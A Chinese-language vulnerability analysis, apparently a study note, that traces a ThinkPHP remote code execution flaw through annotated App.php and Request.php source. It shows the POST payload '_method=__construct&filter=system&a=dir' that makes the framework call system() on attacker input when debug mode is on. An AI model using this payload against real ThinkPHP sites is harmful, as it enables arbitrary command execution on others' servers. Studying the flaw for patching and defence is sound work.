APP.php

```php
public static function run(Request $request = null)
```

网页开始加载

```php
$request = is_null($request) ? Request::instance() : $request;
```

初始化，会调用request::__construct，这里对filter进行了一次赋值

```php
protected function __construct($options = [])  $options: [0]
{
    foreach ($options as $name => $item) {  $options: [0]
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get( name: 'default_filter');  filter: ""
    }

    // 保存 php://input
    $this->input = file_get_contents( filename: 'php://input');  input: "_method=__construct&filter=system&a=dir"
}
```

```php
$request->filter($config['default_filter']);
```

但这里由将filter初始化为’ ’

```php
public function method($method = false)  $method: false
{
    if (true === $method) {  $method: false
        // 获取原始请求类型
        return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);  server: [0]
    } elseif (!$this->method) {
        if (isset($_POST[Config::get( name: 'var_method')])) {
            $this->method = strtoupper($_POST[Config::get( name: 'var_method')]);
            $this->{$this->method}($_POST);  method: "__CONSTRUCT"
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        }
    }
    return $this->method;
}
```

```php
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
    $dispatch = self::routeCheck($request, $config);
}

// 记录当前调度信息
$request->dispatch($dispatch);
```

在这里进行路由检测的时候会调用request::method方法，method会通过post获取我们设定的值__construct，并会去执行__construct函数，也是在这里最终使得filter为system

```php
if (self::$debug) {
    Log::record( msg: '[ ROUTE ] ' . var_export($dispatch,  return: true),  type: 'info');
    Log::record( msg: '[ HEADER ] ' . var_export($request->header(),  return: true),  type: 'info');
    Log::record( msg: '[ PARAM ] ' . var_export($request->param(),  return: true),  type: 'info');
}
```

当开启调试模式时，会记录请求的相关信息，会调用request::param过程

```php
public static function module($result, $config, $convert = null)
```

```php
// 设置默认过滤机制
$request->filter($config['default_filter']);
```

在APP.php的module函数也就是执行模块中，又一次对filter进行了初始化操作，在不调试的情况下也就不会在执行我们的命令了

```php
public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->param)) {
        $method = $this->method( method: true);
        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this->post( name: false);
                break;
```

```php
    */
    public function post($name = '', $default = null, $filter = '')  $name: false  $default: null  $filter: ""
    {
        if (empty($this->post)) {
            $content = $this->input;  input: "_method=__construct&filter=system&a=dir"  $content: "_method=__construct&filter=system&a=dir"
            if (empty($_POST) && false !== strpos($this->contentType(),  needle: 'application/json')) {
                $this->post = (array) json_decode($content,  assoc: true);  $content: "_method=__construct&filter=system&a=dir"
            } else {
                $this->post = $_POST;
            }
        }
        if (is_array($name)) {
            $this->param      = [];  param: [0]
            return $this->post = array_merge($this->post, $name);
        }
        return $this->input($this->post, $name, $default, $filter);  $default: null  $filter: ""  $name: false  post: [3]
    }
```

```php
public function input($data = [], $name = '', $default = null, $filter = '')
```

获取变量，同时进行过滤和设置默认值

```php
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
    array_walk_recursive( &input: $data, [$this, 'filterValue'], $filter);
    reset( &array: $data);
}
```

```php
protected function getFilter($filter, $default)  $filter: {"system"}[1]  $default: null
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = is_null($this->filter) ? $this->filter;  filter: "system"
        if (is_string($filter) && false === strpos($filter,  needle: '/')) {
            $filter = explode( delimiter: ',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }
```

这里将filter由初始的null覆盖为我们自定义的system

```php
array_walk_recursive( &input: $data, [$this, 'filterValue'], $filter)
```

这个函数的作用是将数组data传递到函数filtervalue中执行

```
$data: {_method => "__construct", filter => "system", a => "dir"}[3]  $filter: {"system", null}[2]
```

```php
private function filterValue(&$value, $key, $filters)  $value: "dir"  $key: "a"  $filters: {"system"}[1]
{
    $default = array_pop( &array: $filters);  $default: null
    foreach ($filters as $filter) {  $filters: {"system"}[1]  $filter: "system"
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);  $filter: "system"  $value: "dir"
```

这个函数会执行三次将上面的数组内容分别传递进来执行

call_user_func：
将filter作为回调函数执行，value是他的参数

在最后数组执行system-dir也就执行了任意命令，实现漏洞

REQUEST.php